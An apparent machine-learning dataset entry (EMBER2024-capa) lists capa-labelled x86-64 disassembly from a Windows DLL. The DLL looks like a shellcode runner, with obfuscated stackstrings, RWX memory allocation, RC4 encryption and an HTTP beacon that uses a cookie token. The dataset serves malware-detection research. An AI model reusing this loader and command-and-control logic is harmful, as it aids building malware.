joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003220
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, r9
mov dword [rsp + 0x40], r8d
mov rbx, rdx
mov dword [rsp + 0x20], 0
mov rdi, rcx
lea r8, str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
mov r9d, 1
lea rcx, [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x180003296
lea r9d, [rax + 1]
mov dword [rsp + 0x20], 8
lea r8, str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
xor edx, edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x180003296
xor eax, eax
jmp 0x18000335a
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x8004
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov r8d, dword [rdi + 0x28]
lea rdx, [rdi + 8]
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov r8, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
mov r9d, 0x800000
mov edx, 0x6801
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 1]
cmp dword [rdi + 0x2c], r8d
jne 0x180003324
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
jmp 0x180003339
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [rsp + 0x40]
mov rax, rbx
mov dword [rsi], ecx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.180067630
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret
Function at 0x180003370
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rax, vtable.TShellCodeRuner.0
mov dword [rbp - 0x40], 0x6e72656b
mov qword [rcx], rax
mov rbx, rcx
xor eax, eax
mov dword [rbp - 0x3c], 0x32336c65
mov dword [rcx + 0x10], eax
mov word [rcx + 0x14], ax
mov dword [rcx + 0x18], eax
mov qword [rcx + 0x20], rax
mov dword [rcx + 0x28], eax
mov dword [rcx + 0x82c], eax
mov qword [rcx + 0x830], rax
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x38], 0x6c6c642e
mov byte [rbp - 0x34], al
mov dword [rbp - 0x20], 0x74726956
mov dword [rbp - 0x1c], 0x416c6175
mov dword [rbp - 0x18], 0x636f6c6c
mov byte [rbp - 0x14], al
mov dword [rbp - 0x30], 0x74726956
mov dword [rbp - 0x2c], 0x466c6175
mov dword [rbp - 0x28], 0x656572
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x40]
mov qword [rbx + 0x838], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x840], rax
mov rax, rbx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180067630
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret

Function at 0x180003540
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov eax, dword [rdx]
mov rdi, rdx
mov dword [rcx + 0x10], eax
mov rbx, rcx
mov esi, 4
cmp eax, 0x55aa55aa
jne 0x180003582
movzx eax, word [rdx + 4]
mov word [rcx + 0x14], ax
lea rax, [rdx + 0xa]
mov r8d, dword [rdx + 6]
mov dword [rcx + 0x18], r8d
mov qword [rcx + 0x20], rax
lea esi, [r8 + 0xa]
mov eax, esi
add esi, 4
mov ecx, dword [rax + rdx]
mov dword [rbx + 0x28], ecx
mov r8d, ecx
mov edx, esi
lea rcx, [rbx + 0x2c]
add rdx, rdi
call fcn.1800857b0
add esi, dword [rbx + 0x28]
mov rax, qword [rbx + 0x830]
mov ecx, dword [rsi + rdi]
add esi, 4
mov dword [rbx + 0x82c], ecx
test rax, rax
jne 0x1800035da
mov edx, ecx
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [rbx + 0x82c]
mov qword [rbx + 0x830], rax
mov r8d, ecx
mov rcx, rax
mov edx, esi
add rdx, rdi
call fcn.1800857b0
mov eax, dword [rbx + 0x82c]
mov rbx, qword [rsp + 0x30]
add eax, esi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180003690
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
sub rsp, 0x20
mov qword [rcx + 8], rdx
mov rbx, rcx
test r8d, r8d
je 0x1800036c5
mov dword [rcx + 0x82c], r8d
xor ecx, ecx
mov edx, r8d
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbx + 0x830], rax
add rsp, 0x20
pop rbx
ret
Function at 0x1800042b0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rcx
mov rax, qword [rcx]
xor edx, edx
call qword [rax + 0x30]
mov ebx, eax
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbp, rax
test rax, rax
jne 0x180004309
mov ecx, 0x8007000e
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x180004466
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r12 + 3]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x18000435b
mov rdi, rbp
xor eax, eax
mov rcx, rbx
rep stosb byte [rdi], al
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
jmp 0x180004466
mov rax, qword [rdi]
mov rdx, rbp
mov rcx, rdi
call qword [rax + 0x30]
mov r15d, eax
mov edx, 0x10
lea ecx, [rdx + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
mov rdi, r12
nop
call fcn.18008ad84
mov ebx, eax
call fcn.18008ad84
imul ebx, eax
mov dword [rsi + rdi*4], ebx
inc rdi
cmp rdi, 4
jl 0x180004380
mov ecx, 0x30
call fcn.1800670bc
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1800043bc
mov rcx, rax
call fcn.180003190
mov rdi, rax
jmp 0x1800043bf
mov rdi, r12
mov dword [rsp + 0x48], r12d
mov rax, qword [rdi]
mov r9d, 0x10
mov r8, rsi
lea edx, [r9 - 0xf]
mov rcx, rdi
call qword [rax + 0x10]
mov rax, qword [rdi]
lea r9, [rsp + 0x48]
mov r8d, r15d
mov rdx, rbp
mov rcx, rdi
call qword [rax + 8]
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x4c]
mov r8d, 0x10
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x4c]
mov r8d, r15d
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdi, rsi
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
mov rdi, rbp
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.180067630
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180004a50
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0xc20
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rsp + 0xc10], rax
mov rsi, r8
lea rax, [rsp + 0x20]
mov r8d, 7
mov rdi, rcx
nop
lea rax, [rax + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub r8, 1
jne 0x180004a80
movups xmm0, xmmword [rdx]
mov rcx, qword [rdx + 0x60]
mov r8d, 0x774
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
xor edx, edx
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm1
mov qword [rax + 0x60], rcx
lea rcx, [rsp + 0x49c]
call fcn.180085fa0
movaps xmm0, xmmword [str.Mozilla_5.0__Windows_NT_10.0__WOW64__Trident_7.0__rv:11.0__like_Gecko]
lea rdx, [rsp + 0x410]
movaps xmm1, xmmword [0x1800b8da0]
lea rcx, [rdi + 8]
mov eax, dword [0x1800b8e18]
movaps xmmword [rsp + 0x410], xmm0
movaps xmm0, xmmword [0x1800b8db0]
movaps xmmword [rsp + 0x430], xmm0
movaps xmm0, xmmword [0x1800b8dd0]
movaps xmmword [rsp + 0x420], xmm1
movaps xmm1, xmmword [0x1800b8dc0]
movaps xmmword [rsp + 0x450], xmm0
movaps xmm0, xmmword [0x1800b8df0]
movaps xmmword [rsp + 0x440], xmm1
movaps xmm1, xmmword [0x1800b8de0]
movaps xmmword [rsp + 0x470], xmm0
movsd xmm0, qword [0x1800b8e10]
movaps xmmword [rsp + 0x460], xmm1
movaps xmm1, xmmword [0x1800b8e00]
movsd qword [rsp + 0x490], xmm0
movaps xmmword [rsp + 0x480], xmm1
mov dword [rsp + 0x498], eax
call fcn.180006720
lea rdx, [rsp + 0x20]
lea rcx, [rdi + 8]
test rsi, rsi
jne 0x180004bd8
xor r8d, r8d
jmp 0x180004bdb
mov r8, rsi
call fcn.1800060a0
test eax, eax
je 0x180004bf6
lea rdx, [rdi + 0x3c]
lea rcx, [rdi + 8]
call fcn.180006360
mov eax, 1
mov rcx, qword [rsp + 0xc10]
xor rcx, rsp
call fcn.180067630
add rsp, 0xc20
pop rdi
pop rsi
pop rbx
ret
Function at 0x180004c20
Capabilities:
Check for time delay via gettickcount

Disassembly:
add rcx, 8
jmp 0x180006020
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
xor esi, esi
nop dword [rax]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x180006058
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp eax, 1
jne 0x18000606c
mov qword [rbx + 0x10], rsi
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000608c
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp eax, 1
je 0x180006088
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0xea60
ja 0x18000608c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180006040
mov qword [rbx + 8], rsi
mov dword [rbx + 0x28], esi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180006020
Capabilities:
Check for time delay via gettickcount

Disassembly:
add rcx, 8
jmp 0x180006020
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
xor esi, esi
nop dword [rax]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x180006058
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp eax, 1
jne 0x18000606c
mov qword [rbx + 0x10], rsi
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000608c
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp eax, 1
je 0x180006088
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0xea60
ja 0x18000608c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180006040
mov qword [rbx + 8], rsi
mov dword [rbx + 0x28], esi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800063a0
Capabilities:
Make an http request with a cookie
Send data
Send http request

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xba0]
sub rsp, 0xca0
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rbp + 0xb90], rax
mov r15d, dword [rbp + 0xc00]
xor r12d, r12d
mov rbx, rcx
mov qword [rsp + 0x38], r12
mov ecx, 0x4480200
mov dword [rbp - 0x80], r12d
mov eax, 0x4c80200
mov r14, r9
mov rsi, r8
lea r9, str.HTTP_1.0
cmp dword [rbx + 0x28], 1
mov rdi, rdx
mov r8, qword [rbx + 0x18]
lea rdx, [0x1800b8f48]
cmovne eax, ecx
mov rcx, qword [rbx + 0x10]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
test r15d, r15d
je 0x18000642b
lea rdx, str.POST
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov qword [rdi], rax
cmp dword [rbx + 0x28], 1
jne 0x18000645b
mov rcx, qword [rdi]
lea r8, [rbp - 0x80]
mov r9d, 4
mov dword [rbp - 0x80], 0xf180
lea edx, [r9 + 0x1b]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rax, qword [rdi]
test rax, rax
je 0x180006596
xor edx, edx
lea rcx, [rbp + 0x390]
mov r8d, 0x800
call fcn.180085fa0
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x400
call fcn.180085fa0
mov rbx, 0xffffffffffffffff
mov dword [rsp + 0x40], 0x400
mov rdx, rbx
nop dword [rax + rax]
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x1800064a0
lea r9, [rsp + 0x40]
mov dword [rsp + 0x20], r12d
lea r8, [rbp - 0x70]
mov rcx, rsi
call fcn.180005cd0
lea r8, [rbp - 0x70]
lea rcx, [rbp + 0x390]
lea rdx, str.Accept:_text_html_r_nAccept_Language:_en_us_r_nContent_Type:_application_x_www_form_urlencoded_r_nCookie:_TokenName_s_r_n
cmp dword [rbp + 0xc08], r12d
je 0x1800064e1
lea rdx, str.Accept:_text_html_r_nAccept_Language:_en_us_r_nContent_Type:_image_gif_r_nCookie:_TokenName_s_r_n
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rdi]
lea rdx, [rbp + 0x390]
mov r9d, 0x20000000
mov r8d, 0xffffffff
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
je 0x180006596
mov dword [rsp + 0x48], 0x38
lea rax, [rbp + 0x390]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x180006520
mov rcx, qword [rdi]
lea rax, [rbp + 0x390]
xor r9d, r9d
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov dword [rsp + 0x60], ebx
lea rdx, [rsp + 0x48]
mov dword [rsp + 0x64], ebx
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x50], r12
mov dword [rsp + 0x70], r12d
mov dword [rsp + 0x74], r15d
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.WININET.dll_HttpSendRequestExA]
test eax, eax
je 0x180006596
test r14, r14
je 0x18000658f
mov rcx, qword [rdi]
lea r9, [rbp - 0x7c]
mov r8d, r15d
mov rdx, r14
call qword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x180006596
mov eax, 1
jmp 0x180006598
xor eax, eax
mov rcx, qword [rbp + 0xb90]
xor rcx, rsp
call fcn.180067630
add rsp, 0xca0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1800065c0
Capabilities:
Check http status code
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov r14, qword [rsp + 0x2a0]
mov rdi, rdx
mov esi, r9d
mov rbp, r8
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], ebx
mov rcx, qword [rdi]
xor edx, edx
mov dword [rsp + 0x34], ebx
call qword [sym.imp.WININET.dll_HttpEndRequestW]
test eax, eax
je 0x180006661
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x200
call fcn.180085fa0
mov rcx, qword [rdi]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x38], 0x200
lea edx, [rbx + 0x13]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x180006661
lea rcx, [rsp + 0x40]
call fcn.18008f9d8
cmp eax, 0xc8
je 0x180006681
mov dword [r14], 0xffffffff
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180067630
add rsp, 0x250
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rcx, qword [rdi]
lea rdx, [rsp + 0x34]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp eax, 1
jne 0x1800066ec
nop word [rax + rax]
mov r8d, dword [rsp + 0x34]
test r8d, r8d
je 0x1800066ec
mov eax, esi
sub eax, ebx
cmp r8d, eax
ja 0x180006661
mov rcx, qword [rdi]
lea r9, [rsp + 0x30]
mov edx, ebx
add rdx, rbp
mov dword [rsp + 0x30], r8d
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180006661
mov rcx, qword [rdi]
lea rdx, [rsp + 0x34]
add ebx, dword [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp eax, 1
je 0x1800066a0
mov r8d, 0x14
mov dword [r14], ebx
lea rdx, str.Authentication_Error
mov rcx, rbp
call fcn.18008ef30
test eax, eax
je 0x180006661
mov eax, 1
jmp 0x180006663
Function at 0x180017880
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
movabs rax, 0xcbf29ce484222325
sar r8, 1
mov r9d, 0
add r8, r8
je 0x1800178c4
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1800178b0
ret

Function at 0x18001b420
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x18001b44d
xor eax, eax
jmp 0x18001b593
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x18001b487
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x18001b487
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x18001b593
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x18001b586
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18001b4ca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x18001b4d9
movsx ecx, dil
jmp 0x18001b52d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
js 0x18001b586
cmp eax, 1
jle 0x18001b547
cmp eax, 3
jne 0x18001b586
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.180093920
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18001b58b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x18001b574
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.18009423c
cmp rsi, rax
jne 0x18001b586
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x18001b58b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180067630
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x18001e600
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x18001e622
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x18001e69c
mov rdi, r14
mov rcx, rbx
call fcn.180015000
test rax, rax
jle 0x18001e674
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.1800857b0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18001e68c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18001e694
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x18001e636
sub r14, rdi
jmp 0x18001e789
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x18001e6b3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18001e6b5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18001e6ea
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1800857b0
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18001e786
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x18001e725
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x18001e761
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.180093cd4
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x18001e79f
cmp rbp, rax
ja 0x18001e731
mov r8, rdi
test rdi, rdi
je 0x18001e786
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.180093cd4
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x18001e789
Function at 0x1800295a0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x1800ef3c8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, rcx
mov rcx, qword [rcx + 0xc8]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ebx, [rax + 1]
movsxd rdx, ebx
mov eax, 2
mul rdx
mov rbp, 0xffffffffffffffff
cmovo rax, rbp
mov rcx, rax
call fcn.1800679cc
mov rdi, rax
mov r8d, ebx
mov rdx, rax
mov rcx, qword [rsi + 0xc8]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov r8, rbp
nop dword [rax + rax]
inc r8
cmp word [rdi + r8*2], 0
jne 0x180029610
lea rcx, [rsi + 0x100]
mov rdx, rdi
call fcn.180017040
mov rcx, rdi
call fcn.1800670f8
mov rcx, qword [rsi + 0xd8]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ebx, [rax + 1]
movsxd rcx, ebx
mov eax, 2
mul rcx
cmovo rax, rbp
mov rcx, rax
call fcn.1800679cc
mov rdi, rax
mov r8d, ebx
mov rdx, rax
mov rcx, qword [rsi + 0xd8]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rdx, rdi
lea rcx, [rsp + 0x28]
call fcn.18003b040
nop
mov rcx, rdi
call fcn.1800670f8
call fcn.1800947f4
mov r14, rax
lea rbx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rbx, qword [rsp + 0x28]
xor edi, edi
mov dword [rax], edi
lea r8d, [rdi + 0xa]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.180094c8c
cmp rbx, qword [rsp + 0x20]
je 0x1800297b6
cmp dword [r14], 0x22
je 0x1800297a9
cmp eax, 1
jge 0x1800296d2
lea eax, [rdi + 1]
jmp 0x180029715
call fcn.1800947f4
mov r14, rax
lea rbx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rbx, qword [rsp + 0x28]
mov dword [rax], edi
mov r8d, 0xa
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.180094c8c
cmp rbx, qword [rsp + 0x20]
je 0x1800297c3
cmp dword [r14], 0x22
je 0x18002979c
mov dword [rsi + 0x124], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x147
mov rcx, qword [rsi + 0xd0]
call qword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 1
sete dil
mov dword [rsi + 0x120], edi
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x180029779
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180029774
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
